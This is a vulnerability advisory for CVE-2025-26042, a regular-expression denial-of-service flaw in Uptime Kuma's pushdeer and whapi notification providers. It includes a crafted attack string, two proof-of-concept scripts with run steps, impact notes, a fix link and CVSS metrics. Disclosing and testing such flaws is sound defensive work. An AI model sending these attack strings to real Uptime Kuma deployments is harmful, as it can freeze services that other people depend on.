CVE-2025-26042
ADVISORY - githubSummary
Summary
There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.
Details
The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
.replace(/\/*$/, "")
For the regular expression /\/*$/, an attack string like
"https://e" + "/".repeat(100000) + "@"
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
When entered from the web interface, the attack string needs to expand
"/".repeat(100000)and be input directly, such ashttps://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.
PoC
The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
test = require("node:test");
} else {
test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");
const assert = require("node:assert");
test("Test ReDos - attack string", async (t) => {
const pushDeer = new PushDeer();
const notification = {
pushdeerServer: "https://e" + "/".repeat(100000) + "@",
};
const msg = "Test Attacking";
const startTime = performance.now();
try {
pushDeer.send(notification, msg)
} catch (error) {
// pass
}
const endTime = performance.now();
const elapsedTime = endTime - startTime;
const reDosThreshold = 2000;
assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
Move the
test-uptime-calculator.jsfile to the./uptime-kuma/test/backend-testfolder and runnpm run test-backendto execute the backend tests.
Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28
// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");
// Create an instance of Whapi
const whapi = new Whapi();
const notification = {
whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";
// Call the send method and handle exceptions
whapi.send(notification, msg)
// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the root directory of the same level as `README.md`
// 8.and then run `node poc.js`
After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.
You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of / to the URL, followed by a non-/ character at the end, entered directly.
Impact
What kind of vulnerability is it?
This is a Regular Expression Denial of Service (ReDoS) vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in significant performance degradation or complete service unavailability, especially when processing specially crafted attack strings.
Who is impacted?
Uptime Kuma users: Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like
pushdeer.jsandwhapi.js. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.Web services and hosting providers: If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to
downtime,degraded performance, orresource exhaustion.
Solution
@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573
Common Weakness Enumeration (CWE)
Inefficient Regular Expression Complexity
Inefficient Regular Expression Complexity
GitLab
CVSS SCORE
6medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| uptime-kuma | npm | - | - | >=1.23.0,<=2.0.0-dev.0 | Not yet available |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
0.5
CVSS SCORE
6mediumGitHub
-